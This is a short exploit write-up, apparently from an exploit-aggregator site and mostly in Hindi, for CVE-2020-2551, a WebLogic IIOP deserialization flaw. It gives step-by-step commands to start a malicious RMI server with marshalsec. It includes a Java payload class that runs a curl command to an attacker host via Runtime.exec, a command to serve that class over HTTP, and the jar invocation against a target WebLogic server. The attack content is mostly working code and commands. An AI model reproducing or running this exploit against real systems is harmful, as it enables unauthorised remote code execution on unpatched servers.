Exploit for CVE-2020-2551

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-Y4ER-CVE-2020-2551
## CVE-2020-2551

Weblogic IIOP डिसीरियलाइज़ेशन

## परीक्षण वातावरण

Weblogic10.3.6+jdk1.6

पैक किया हुआ jar पैकेज एक्सट्रैक्शन कोड: a6ob

## भेद्यता शोषण

jar पैकेज डाउनलोड करें, फिर एक दुर्भावनापूर्ण RMI सेवा शुरू करने के लिए marshalsec का उपयोग करें, और स्थानीय रूप से एक exp.java कंपाइल करें।

root@kitploit:~
    
    
    package payload;
    
    import java.io.IOException;
    
    public class exp {
    
        public exp() {
            String cmd = "curl http://172.16.1.1/success";
            try {
                Runtime.getRuntime().exec(cmd).getInputStream();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    

**weblogic के समान JDK संस्करण और निर्भरता लाइब्रेरी (wlfullclient.jar) का उपयोग करके कंपाइल करने का प्रयास करें** फिर स्थानीय रूप से एक वेब सर्वर शुरू करें।

root@kitploit:~
    
    
    python -m http.server --bind 0.0.0.0 80
    

कमांड लाइन से jar पैकेज चलाएँ

root@kitploit:~
    
    
    java -jar weblogic_CVE_2020_2551.jar 172.16.1.128 7001 rmi://172.16.1.1:1099/exp
    

वास्तविक प्रभाव चित्र में दिखाया गया है ![image](https://assets.kitploit.com/production/public/readmes/21795/5fbfc9ccd1384e8ab6c0d762d42decb4a549c842fe2e25aea8bce000653a6270.gif)

## ज्ञात समस्याएँ